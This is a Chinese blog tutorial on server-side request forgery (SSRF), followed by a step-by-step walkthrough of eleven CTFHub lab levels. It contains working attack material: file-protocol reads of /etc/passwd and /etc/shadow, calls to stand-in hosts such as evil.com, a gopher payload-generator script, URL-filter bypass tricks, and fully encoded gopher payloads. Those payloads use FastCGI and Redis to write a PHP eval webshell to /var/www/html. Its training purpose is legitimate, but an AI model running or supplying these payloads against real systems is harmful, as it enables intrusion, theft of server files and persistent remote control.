news 2026/2/17 19:54:40

SSRF服务端请求伪造详解(附带ctfhub靶场实战-保姆级)网络安全零基础入门到精通实战教程!

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
SSRF服务端请求伪造详解(附带ctfhub靶场实战-保姆级)网络安全零基础入门到精通实战教程!

漏洞描述

SSRF(Server-side Request Forgery),服务端请求伪造。是一种由攻击者构造请求,由服务端发起请求的安全漏洞,一般情况况下SSRF攻击的目标是从外网无法访问到的内部系统 (正因为它是由服务端发起的,所以它能够请求到与自身相连而与外网隔离的内部系统)。

漏洞原理

SSRF形成的原因大都是由于服务端提供了从 其他服务器 应用 获取数据 的功能且没有对服务器目标地址做过滤与限制,用户对目标地址可控。

内网应用服务器地址利用各种协议去读取本地文件

漏洞分类

显示对攻击者的响应(Basic)

它显示对攻击者的响应,因此在服务器获取攻击者要求请求的URL后,他将会把响应发送回攻击者。返回结果到客户端。会返回这个网址的界面或对应的HTML代码。

不显示响应(Blind)

和上面正好相反, 不会返回结果到客户端 。当您从未从初次请求中获取有关目标服务的任何信息时,就会发生这种ssrf。通常,攻击者将提供url,但是该url中的数据将永远不会返回给攻击者。要在这种情况下确认漏洞,攻击者必须使用Burp,DNSLOG等类似工具。这些工具可以通过强制服务器向攻击者控制的服务器发出DNS或HTTP请求来确认服务器是易受攻击的。这种ssrf通常易于验证,但难以利用;

漏洞函数

SSRF 漏 洞 可 能 会 产 生 在 任 何 语 言 编 写 的 应 用 中 , 这 里 介 绍 PHP 中 可 能 会 存 在 SSRF 漏 洞 的 函 数 :file_get_contents()、fsockopen()、curl_exec()

file_get_contents():将整个文件或一个URL指向的文件,以字符串的性质展示给用户

curl_exec(): 对远程的URL发起请求访问,并将请求的结果返回至前端页面

fsockopen(): 使用该函数实现获取用户制定url的数据(文件或者html);该函数会使用socket跟服务器建立TCP连接,进行传输原始数据

攻击方式

主要攻击方式如下所示: 1. 对外网服务器所在的内网/本机进行主机扫描、端口扫描、服务探测。 2. 攻击运行在内网或本地的应用程序。 3. 攻击内外网的web应用,主要是使用 get 参数就可以实现的攻击(比如struts2,sqli、thinkphp等); 4. 利用File协议读取服务器文件。 5. 各个协议调用探针: http,file,dict,ftp,gopher 等

漏洞探测

有回显类型:输入指定地址,如果将指定URL内容获取到了那么也存在SSRF

无回显类型:输入dnslog地址,如果dnslog地址有解析记录及代码存在SSRF

1. 服务端会去其他服务器获取资源

2. 我们对获取资源的服务器地址是可控的

1. 服务器提供了从其他服务器获取数据的功能

2. 其他服务器的地址是我们可控的

3. 没有过滤

协议

http:// -- 通过http协议访问内网主机web服务,或发送Get数据包 file:// -- 本地文件传输协议,主要用于访问`本地计算机中`的文件 dict:// -- 字典服务器协议,dict是基于查询相应的TCP协议 gopher:// -- 互联网上使用的分布型的文件搜集获取网络协议,出现在http协议之前 sftp:// -- 安全文件传输协议 tftp:// -- 基于lockstep机制的文件传输协议,允许客户端从远程主机获取文件或将文件上传至远程主机 ldap:// -- 轻量级目录访问协议。它是IP网络上的一种用于管理和访问分布式目录信息服务的应用程序协议

http协议

能进行内网端口探测-可通过返回的时间和长度判断端口是否开放/与Web站点访问。


file协议

伪协议、读取敏感的文件信息、 linux的网站目录 /var/www/html/ /var/logs/httpd/access.log error.log /var/logs/Nginx/access.log error.log file:///var/logs/httpd/access.log file:///etc/passwd windows系统基本配置信息file:///c:/windows/win.ini Linux用户基本配置信息file:///etc/shadow Linux用户密码等敏感信息(一般需要root用户才能查看 web服务用户一般没有权限查看) file:///etc/hosts 查看内网地址段

dict协议

内网服务探测(DICT伪协议)dict协议是一个字典服务器协议,通常用于让客户端使用过程中能够访问更多的字典源,但是在SSRF中如果可以使用dict协议那么就可以获取目标服务器端口上运行的服务版本等信息。

通过响应时间来判断端口是否开放

Gopher协议

Gopher协议 是比HTTP协议更早出现的协议,现在已经不常使用了,但是在SSRF漏洞中可以利用gopher协议发送各种格式的请求包,这样便可以解决漏洞点不在GET参数的问题。所有WEB服务器都支持gopher协议。

# Gopher协议格式:

gopher://:/_TCP数据流

注意:

由于Gopher协议的特殊格式,在SSRF利用Gopher攻击目标时,需要对数据包进行两次URL编码。

1. 第一次URL将URL中的特殊字符进行转义,以便于传输和解析。

2. 第二次编码是为了让Gopher协议能够正常解析,因为Gopher协议使用的ASCII编码。需要将URL中的所有字符都转换为ASCII码的可打印字符,才能被Gopher协议正确解析。

SSRF⽀持的协议

# ftp ssrf.php?url=ftp://evil.com:12345/TEST # file:// ssrf.php?url=file:///etc/password # Dict:// dict://<user-auth>@<host>:<port>/d:<word>ssrf.php?url=dict://attacker:11111/ # SFTP:// ssrf.php?url=sftp://example.com:11111/ # TFTP:// ssrf.php?url=tftp://example.com:12346/TESTUDPPACKET # LDAP:// ssrf.php?url=ldap://localhost:11211/%0astats%0aquit # Gopher:// ssrf.php?url=gopher://127.0.0.1:3306

FastCGI

当客户端请求的是index.php,根据配置文件Web Server辨别不是静态文件,此时中间件就会将请求转发给PHP解析器来处理。

客户段请求静态网站 =----> 中间件直接处理返回客户段请求脚本文件php jsp —> 中间件判断用户请求的文件类型 —> 通过fastcgi 将请求文件提交给php-fpm(解析器)进行处理 —》 调用数据库数据 --> 返回数据到中间件 --> 客户端

攻击内⽹Redis

redis低版本默认存在漏洞 (未授权访问) 也不需要权限校验即可进入到redis执行redis命令 。redis命令中有几条命令可以写入文件到服务器中redis未授权访问getshell的方式

1.写⼊计划任务(反弹shell)

2.写⼊webshell到对⽅⽹站⽬录

3.写⼊SSH公钥进⾏免密连接

SSRF漏洞绕过

常见限制

# 限制为http://www.xxx.com域名

采用http基本身份认证的方式绕过。即@http://www.xxx.com@www.xxc.com

#限制请求IP不为内网地址⭐当不允许ip为内网地址时

(1)采取短网址绕过

(2)采取特殊域名

(3)采取进制转换

# 限制请求只为HTTP协议

(1)采取302跳转

(2)采取短地址

绕过方式

1.# “@”

http://abc@127.0.0.1

实际上是以用户名abc连接到站点127.0.0.1,同理

http://8.8.8.8@127.0.0.1:8080、http://127.0.0.1#8.8.8.8

在对@解析域名中,不同的处理函数存在处理差异,如:

http://www.aaa.com@www.bbb.com@www.ccc.com

在PHP的parse_url中会识别www.ccc.com,而libcurl则识别为www.bbb.com

2.# “[::]”

可以利用[::]来绕过localhost

http://[::]:80/ >>> http://127.0.0.1

3.# 添加端口号

http://127.0.0.1:8080

4.# 利用短网址

站长工具短网址/百度短网址

https://urlc.net/cn/

5.# 利用特殊域名

原理是DNS解析。xip.io可以指向任意域名,即127.0.0.1.xip.io,可解析为127.0.0.1

6.# 利用DNS解析

在域名上设置A记录,指向127.0.0.1

7.# 利用进制转换

八进制:0177.0.0.1

十六进制:0x7f.0.0.1

十进制:2130706433

8.# 句号

127。0。0。1 >>> 127.0.0.1

9.# 利用30X重定向

使用https://tinyurl.com生成302跳转地址

https://urlc.net/cn/

10.# URL十六进制编码

URL十六进制编码可被浏览器正常识别,编码脚本:

十六进制:0x7f.0.0.1

11.利用30X重定向

可以使用重定向来让服务器访问目标地址,可用于重定向的HTTP状态码:300、301、302、303、305、307、

308。

需要一个vps,把302转换的代码部署到vps上,然后去访问,就可跳转到内网中

ctfhub实战

网址:https://www.ctfhub.com

第一关:内网访问

题目

看到提示我们可以知道falg应该位于他呢台机器的根目录下

开启环境

进入之后发现页面空白,在url中有个url的参数

我们直接使用http协议让他去访问127.0.0.1/flag.php

拿到flag成功过关

第二关:伪协议读取文件

题目:

开启环境

可以看到跟第一关一样的页面

看提示让我们去尝试读取一下web目录下的flag

读取文件这个时候就应该用file协议

这个时候我们还看到在web目录下呢linux默认的web路径为/vat/www/html

语句:file:///var/www/html/flag.php

然后发现之读到了三个?

不要慌,这个时候我们查看页面源码就可以看到flag了


成功过关

第三关:端口扫描

题目

我们可以看到第三关需要我们探测端口8000-9000

这个时候就应该用dict协议

加上burp爆破模块来进行探测

跟第一关同样的页面,输入语句后抓包然后发送到爆破模块

开始爆破

然后我们可以看到端口为8880

然后我们利用http协议去请求127.0.0.1:8880

成功获取flag

第四关:POST请求

题目

我们可以看到和前面同样的页面

我们尝试使用http,file等协议看看有什么相应

经过尝试,我们发现使用http协议读取127.0.0.1/flag.php时页面会出现一个输入框

还有使用file协议读取/var/www/html/flag.php时也会出现一个输入框

我们先来看http协议读取到的输入框

我们查看一下源码看看

可以看到这个页面提交的key会以post的形式给./flag.php页面

然后我们再去看一下file协议读取到网站下的输入框

查看页面源码

页面源码的大致意思为

这个时候我们在返回http协议的页面

输入key回车

出现个这个东西,加上刚才的源码,可以判断,不能请求127.0.0.1这个地址

将这个数据包抓下来,然后使用gopher.py脚本来生成协议

gopher.py脚本如下:# -*- coding: utf-8 -*importurllib.parse payload=\""" //这里输入抓到的数据包""" tmp=urllib.parse.quote(payload)new=tmp.replace('%0A','%0D%0A')result='gopher://127.0.0.1:80/'+'_'+new result=urllib.parse.quote(result)print(result)

开启抓包,输入key,回车

将抓到的数据包全部复制下来粘贴到脚本中

然后在cmd中运行脚本

然后将生成的东西粘贴到url参数上进行访问即可

成功得到flag

第五关:上传文件

题目

只提示了需要上传文件到flag.php

进去看看

一样的页面

先试用file,http看看

首先看file协议的源码,代码的大致意思如下

呢么看来我们还需要使用gopher协议

http的源码还是一样的简单,就不说了

呢么我们上传一个文件,使用gopher脚本转换,然后再在url中进行访问

首先随便上传一个文件

选完文件之后发现没有上传的按钮

没关系,我们直接f12去源码中编辑html元素,添加一个按钮即可

然后点击提交,顺便抓个包

直接提交果然不行

我们将抓到的数据包复制下来,然后利用gopher脚本进行转换

然后在cmd中使用python执行这个脚本

然后将东西复制出来作为参数url的值进行传输访问

成功得到flag

第六关FastCGI协议

题目

如果大家不太了解fastcgi的话可以先去网上找两篇文章来了解一下

针对fastcgi这里的话是有工具的,在这就直接使用工具来完成了

工具地址:https://pan.baidu.com/s/1CSiHWysbN9Z0y1y0UArBsA?pwd=5m45

使用工具的前提:

1.需要知道网站一个存在的php文件

2.工具需要使用python2的环境

首页

依旧是这样的,我们需要找到一个php页面,首先试试index.php

会跳转到首页,说明他是存在的

然后我们就可以开始利用工具进行攻击了

使用python2的环境运行

然后输入一个网站已经存在的php文件

然后输入想要执行的命令

这里的话我们使用命令写入个一句话木马

首先写个一句话木马使用base64编码一下

然后使用echo命令将他重定向到一个文件中

echo PD9waHAgQGV2YWwoJF9QT1NUWzExMV0pPz4= | base64 -d > /var/www/html/shell.php

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH131%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%83%04%00%3C%3Fphp%20system%28%27echo%20PD9waHAgQGV2YWwoJF9QT1NUWzExMV0pPz4%3D%20%7C%20base64%20-d%20%3E%20/var/www/html/shell.php%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

然后我们将生成的东西复制出来进行二次url编码

注意在编码的时候后面不要留有空格,否则就会失败

gopher%3a%2f%2f127.0.0.1%3a9000%2f_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2505%2505%2500%250F%2510SERVER_SOFTWAREgo%2520%2f%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP%2f1.1%250E%2503CONTENT_LENGTH131%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A%2f%2finput%250F%2517SCRIPT_FILENAME%2fvar%2fwww%2fhtml%2findex.php%250D%2501DOCUMENT_ROOT%2f%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%2583%2504%2500%253C%253Fphp%2520system%2528%2527echo%2520PD9waHAgQGV2YWwoJF9QT1NUWzExMV0pPz4%253D%2520%257C%2520base64%2520-d%2520%253E%2520%2fvar%2fwww%2fhtml%2fshell.php%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500

然后将二次编码的东西作为url的参数传入然后访问即可

看到这个页面说明命令成功执行,然后我们去访问一下我们写入的webshell

成功写入,使用蚁剑去连接

成功连接,记得选base64

然后我们去根目录下即可找到flag


成功得到flag

第七关:Redis协议

题目

还用第六关的工具就可以,他也可以对redis进行攻击

首页

首先使用python2运行该工具,然后

选择

phpshell即可

然后需要提供服务器web网站的根位置

这里就是默认的,所以直接回车就好

然后这里我们输入攻击载荷,也就是一句话木马

然后就给我们生成了如下的东西

我们将这东西复制进行url编码,然后再作为url参数的值进行提交即可

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2428%0D%0A%0A%0A%3C%3Fphp%20%40eval%28%24_POST%5B1%5D%29%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

gopher%3a%2f%2f127.0.0.1%3a6379%2f_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252428%250D%250A%250A%250A%253C%253Fphp%2520%2540eval%2528%2524_POST%255B1%255D%2529%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2fvar%2fwww%2fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

编码完成之后然后去对页面进行攻击

看到一直转圈说明写入成功

然后我们去访问看看

成功写入,使用工具连接

然后在根目录下找到flag即可

拿到flag

第八关:URL Bypass

题目

看到提示其实已经很简单了吧

必须包含一个域名,所以要绕过,呢么直接就可以想到用@符号进行绕过

首页

然后直接绕就行

拿到flag,直接秒了

第九关:数字IP Bypass

题目

看到提示,不能使用点分十进制,但是又需要访问127.0.0.1,呢直接编码不就可以了嘛,

首页

我们先来看一下

扳掉了

直接编码

127.0.0.1的十六进制编码为:0x7f000001

成功得到flag,直接拿下

第十关:302跳转 Bypass

题目

根据提示,我们先来试试http

可以看到不能访问127.0.0.1

但是题目提示302跳转,呢我们就可以想到localhost会跳转为127.0.0.1,我们将127.0.0.1换位localhost即可

拿到flag

十一关:DNS重绑定 Bypass

题目

开启题目后,我们可以看到,这个题目是有个附件的

如果不是很清楚DNS重绑的话可以去附件先看看,了解一下

首页

一样的白页面,先看看http

然后我们去网站生成一个

网站地址:https://lock.cmpxchg8b.com/rebinder.html

复制,然后粘贴在127.0.0.1的位置即可

拿到flag

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,请看下方扫描即可前往获取


版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/2/7 19:25:35

Meta-Llama-3-8B-Instruct优化技巧:显存占用降低50%

Meta-Llama-3-8B-Instruct优化技巧&#xff1a;显存占用降低50% 1. 引言 1.1 背景与挑战 Meta-Llama-3-8B-Instruct 是 Meta 在 2024 年 4 月发布的中等规模指令微调模型&#xff0c;凭借其 80 亿参数、8k 上下文支持和 Apache 2.0 可商用协议&#xff0c;迅速成为本地部署对…

作者头像 李华
网站建设 2026/2/17 16:51:34

全网最全专科生必用AI论文写作软件TOP10测评

全网最全专科生必用AI论文写作软件TOP10测评 2026年专科生AI论文写作工具测评维度解析 随着人工智能技术的不断发展&#xff0c;越来越多的专科生开始借助AI写作工具提升论文撰写效率。然而&#xff0c;市面上的工具种类繁多&#xff0c;功能各异&#xff0c;如何选择一款真正适…

作者头像 李华
网站建设 2026/2/18 4:25:37

文献怎么查:高效查找文献的实用方法与步骤指南

做科研的第一道坎&#xff0c;往往不是做实验&#xff0c;也不是写论文&#xff0c;而是——找文献。 很多新手科研小白会陷入一个怪圈&#xff1a;在知网、Google Scholar 上不断换关键词&#xff0c;结果要么信息过载&#xff0c;要么完全抓不到重点。今天分享几个长期使用的…

作者头像 李华
网站建设 2026/2/15 17:41:51

Qwen3-Reranker-4B进阶教程:自定义指令实现特定任务优化

Qwen3-Reranker-4B进阶教程&#xff1a;自定义指令实现特定任务优化 1. 引言 随着信息检索和自然语言处理技术的不断发展&#xff0c;文本重排序&#xff08;Text Re-ranking&#xff09;在搜索、推荐系统和问答系统中扮演着越来越关键的角色。Qwen3-Reranker-4B 是通义千问系…

作者头像 李华
网站建设 2026/2/15 8:53:00

Elasticsearch教程:新手必看的入门基础指南

Elasticsearch 入门实战&#xff1a;从零搭建搜索系统&#xff0c;手把手带你玩转全文检索 为什么我们离不开 Elasticsearch&#xff1f; 你有没有遇到过这样的场景&#xff1a; 用户在网站里搜“苹果手机”&#xff0c;结果连卖水果的页面都排在前面&#xff1f; 系统日志…

作者头像 李华